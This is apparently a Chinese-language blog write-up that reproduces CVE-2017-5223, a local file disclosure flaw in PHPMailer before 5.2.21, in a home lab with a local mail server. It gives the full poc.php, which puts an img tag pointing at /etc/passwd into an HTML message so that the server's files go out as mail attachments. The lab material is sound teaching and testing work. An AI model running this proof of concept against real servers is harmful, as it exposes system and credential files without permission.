CVE-2017-5223 :PHPMailer < 5.2.21 - Local File Disclosure

  本文主要介绍一下PHPMailer < 5.2.21 - Local File Disclosure漏洞的环境搭建和利用,关于漏洞的描述请参考下面的第二个链接。

环境搭建

说明

  这里用到的邮件服务器是自己本地搭建的邮件服务器,我感觉其实也是可以用谷歌等邮件服务器,因为PHPMailer只是一个发送邮件的功能,跟具体接收邮件的服务器是无关的(谷歌的或是自己搭建的),为啥不能Google的呢?对,之前的两篇博客用的是Google的,换个胃口不行嘛 ~ 额,其实是Google邮件服务器总是连不上,墙外的世界我不懂 ~ 而且我本地有完备邮件系统 ~

  关于邮件系统搭建请参考我的另外两篇博文:CentOS6 安装Sendmail + Dovecot + Squirrelmail 、 CentOS6 安装Sendmail + Dovecot + Roundcubemail

  这两个随便选一个,主要是前面的Sendmail和Dovecot的安装配置,Webmail界面只是为了方便展示,有兴趣的可以试一下,本文用的Webmail是Squirrelmail。(如果可以随意在墙外游走,请忽略环境搭建)

邮件服务器环境介绍

  下面简单看下本地的邮件服务器环境: CentOS6 :Sendmail + Dovecot + Squirrelmail

  因为是局域网环境,所以在除本机外(邮件服务器),需要在hosts文件中增加一条邮件服务器的解析记录:(因为不想搭建DNS)

  linux: 在/etc/hosts中增加如下内容:

192.168.0.6 mail.squirrelmail.com

  这样便能正确解析:

starnight:~ starnight$ ping -c  mail.squirrelmail.com
PING mail.squirrelmail.com (192.168.0.6): data bytes

  打开浏览器可以通过域名进行访问:http://mail.squirrelmail.com/squirrelmail-1.4.20/src/login.php

  邮件系统环境就演示到这里了。(再提醒一句,方便的话可以直接使用Google或其他服务器进行测试,因为搭建本地环境还是蛮费事的)

PHPMailer 环境

  这里用的是PHPMailer-5.2.16, 为啥不用别的版本的,因为懒!最近刚好搭建过这个环境,其实换成其它的都是没有问题的,关于这部分的环境搭建,请参考:PHPMailer发送邮件(一)  中的发送邮件测试二的环境。

  为了模仿更真实的环境,PHPMailer在另一台虚拟机上,如下,这里同样也需要在/etc/hosts文件中增加一条解析记录:192.168.0.6 mail.squirrelmail.com (同上)

  访问如下地址:http://192.168.0.8/phpmailer-5.2.16/ 中的sendmail.php, 便能发送邮件到本地的邮件服务器环境:mail.squirrelmail.com

  出现Message sent!,表示邮件发送成功,我们登陆一下Webmail:  http://mail.squirrelmail.com/squirrelmail-1.4.20/src/webmail.php

  可以看到,我们已经成功的使用了PHPMailer发送邮件,并且可以跟本地的邮件服务器mail.squirrelmail.com很好的进行交互了。

  参考sendmail.php:

<?php
#Author:Yxlink
require_once('PHPMailerAutoload.php');
$mail = new PHPMailer();
$mail->IsSMTP();
$mail->Host = "mail.squirrelmail.com";
$mail->Port = 25;
$mail->SMTPAuth = false;
$mail->SMTPSecure = false; $mail->CharSet = "UTF-8";
$mail->Encoding = "base64"; $mail->Username = "user1";
$mail->Password = "930901";
$mail->Subject = "Test"; $mail->From = "user1@squirrelmail.com";
$mail->FromName = "user1"; $address = "user2@squirrelmail.com";
$mail->AddAddress($address, "user2"); //$mail->AddAttachment('test.txt','test.txt'); //test.txt可控即可任意文件读取
$mail->Subject = 'Helo, it is a test!';
$mail->Body = 'Test mail using PHPMailer and mail.squirrelmail.com';
$mail->AltBody = 'Test mail using PHPMailer and mail.squirrelmail.com'; if(!$mail->Send()) {
echo "Mailer Error: " . $mail->ErrorInfo;
} else {
echo "Message sent!";
}
?>

漏洞测试

  访问:http://192.168.0.8/phpmailer-5.2.16/下的poc.php, 同样会发送一封邮件,并且可以读取PHPMailer所在机器的文件。

  下面是读取根目录下message.txt的情况(/message.txt)

  读取/etc/passwd:

  参考poc.php:

<?php
#Author:Yxlink
require_once('PHPMailerAutoload.php');
$mail = new PHPMailer();
$mail->IsSMTP();
$mail->Host = "mail.squirrelmail.com";
$mail->Port = 25;
//$mail->SMTPAuth = true;
$mail->SMTPAuth = false;
$mail->SMTPSecure = false; $mail->CharSet = "UTF-8";
$mail->Encoding = "base64"; $mail->Username = "user1";
$mail->Password = "930901";
$mail->Subject = "RRRRRRRRRRRRRRR"; $mail->From = "user1@mail.squirrelmail.com";
$mail->FromName = "user1"; $address = "user2@mail.squirrelmail.com";
$mail->AddAddress($address, "user2"); $mail->AddAttachment('test.txt','test.txt'); //test.txt可控即可任意文件读取
$mail->IsHTML(true);
$msg="<img src='/etc/passwd'>RRRRRRRRRRRRRRR";//邮件内容形如这样写。
$mail->msgHTML($msg); if(!$mail->Send()) {
echo "Mailer Error: " . $mail->ErrorInfo;
} else {
echo "Message sent!";
}
?>

  关于该漏洞的演示就到这里。

References

  PHPMailer < 5.2.21 - Local File Disclosure

  PHPMailer任意文件读取漏洞分析(CVE-2017-5223)  

   PHPMailer发送邮件(一)

  PHPMailer 发送邮件(二)

  CentOS6 安装Sendmail + Dovecot + Squirrelmail

  CentOS6 安装Sendmail + Dovecot + Roundcubemail 

PHPMailer < 5.2.21 - Local File Disclosure(CVE-2017-5223)的更多相关文章

  1. 05-树8 File Transfer(25 point(s)) 【并查集】

    05-树8 File Transfer(25 point(s)) We have a network of computers and a list of bi-directional connect ...

  2. Project Euler 21 Distinct primes factors( 整数因子和 )

    题意: 记d(n)为n的所有真因数(小于n且整除n的正整数)之和. 如果d(a) = b且d(b) = a,且a ≠ b,那么a和b构成一个亲和数对,a和b被称为亲和数. 例如,220的真因数包括1. ...

  3. IO流——File类(文件流类)

    java语言的输入输出操作是借助于输入输出包java.io来实现的,按传输方向分为输入流与输出流,从外设传递到应用程序的流为输入流,将数据从应用程序输入到外设的流为输出流. File类的构造方法: 1 ...

  4. DVWA全级别之File Upload(文件上传)

    File Upload File Upload,即文件上传漏洞,通常是由于对上传文件的类型.内容没有进行严格的过滤.检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带 ...

  5. 2018.08.21 NOIP模拟 unlock(模拟+找规律)

    unlock 描述 经济危机席卷全球,L国也收到冲击,大量人员失业. 然而,作为L国的风云人物,X找到了自己的新工作.从下周开始,X将成为一个酒店的助理锁匠,当然,他得先向部门领导展示他的开锁能力. ...

  6. The Google File System(论文阅读笔记)

    概述 ​ GFS:一个可扩展的分布式文件系统,用于大型分布式数据相关应用,TB级的数据,成千上万的并发请求. 设计概览 假设 组件的失效比异常更加常见 多数的文件修改操作是追加数据而不是重写原来的数据 ...

  7. 炒美股史考特(Scottrade)开户准备及如何获取免费交易(最新2017版)

    最新美股史考特(Scottrade)开户及汇款攻略 (2017 年 6 月) 一   前言 二   开户流程 三    激活账户 四 转账汇款 五 小结 一 前言:为什么选择史考特(Scottrade ...

  8. 关于W8.1不能安装VS2015(包括2017等)

    电脑本来是W7 64位+OPENCV3.1,今天突然系统崩溃了,然后感觉W7过时了遇到很多问题直接系统崩溃还得了啊,干脆装了一个W8.1了. 好吧~~本来想直接说问题的,干脆先把装系统给记录一下--& ...

  9. 【DVWA】File Inclusion(文件包含漏洞)通关教程

    日期:2019-07-28 20:58:29 更新: 作者:Bay0net 介绍: 0x01. 漏洞介绍 文件包含时,不管包含的文件是什么类型,都会优先尝试当作 php 文件执行. 如果文件内容有 p ...

随机推荐

  1. 笨鸟先飞之ASP.NET MVC系列之过滤器(02授权过滤器)

    授权过滤器 概念介绍 在之前的文章中我们已经带大家简单的了解了下过滤器,本次我们开始介绍授权过滤器. 我们之前提到过授权过滤器在认证过滤器之后,其他过滤器和方法被调用之前运行,而授权过滤器和它名字的含 ...

  2. Number Complement

    Given a positive integer, output its complement number. The complement strategy is to flip the bits ...

  3. 一文为你详细讲解对象映射库【AutoMapper】所支持场景

    前言 在AutoMapper未出世前,对象与对象之间的映射,我们只能通过手动为每个属性一一赋值,时间长了不仅是我们而且老外也觉得映射代码很无聊啊.这个时候老外的所写的强大映射库AutoMapper横空 ...

  4. “一切都是消息”--MSF(消息服务框架)之【请求-响应】模式

    在前一篇, “一切都是消息”--MSF(消息服务框架)入门简介, 我们介绍了MSF基于异步通信,支持请求-响应通信模式和发布-订阅通信模式,并且介绍了如何获取MSF.今天,我们来看看如何使用MSF来做 ...

  5. Python-MongoDB的驱动安装、升级

    安装pip,并通过此来安装pymongo–Python mongodb驱动 1.下载pip安装包,下载地址:http://pypi.python.org/packages/source/p/pip/p ...

  6. 一个强迫症的Git 选择

    选择 1,经常性的commit or 干净的历史 在本地(私有)的开发分支中,选择经常性的commit,以便于实时记录修改,回退等操作.eg.develop,feature... 实现方式: comm ...

  7. Go语言备忘录:反射的原理与使用详解

    目录: 预备知识 reflect.Typeof.reflect.ValueOf Value.Type 动态调用 通过反射可以修改原对象 实现类似“泛型”的功能   1.预备知识: Go的变量都是静态类 ...

  8. jq 通过标签属性匹配标签

    有时候会有这样的需求 在一堆的标签中定位到某个标签去获取值 这时候我们就可以通过使用自定义属性将这一堆标签打上不同的标记 通过属性定位标签了 下面是代码: <input class=" ...

  9. (10.19)Java小作业

    在java的学习过程中数组的版块也是十分重要的,包括一些教程也会在这个知识点花上更多的时间来讲解,足以证明 这个知识点的重要性,今天想和大家分享一道学习数组过程中不可避免的求最值题. 已知一个整形数组 ...

  10. FormView控件下DropDownList是否可以绑定

    在网站下,FormView控件下是可以通过绑定DropDownList的SelectedValue属性来绑定字段来显示 举例: 1 <asp:DropDownList ID="cboU ...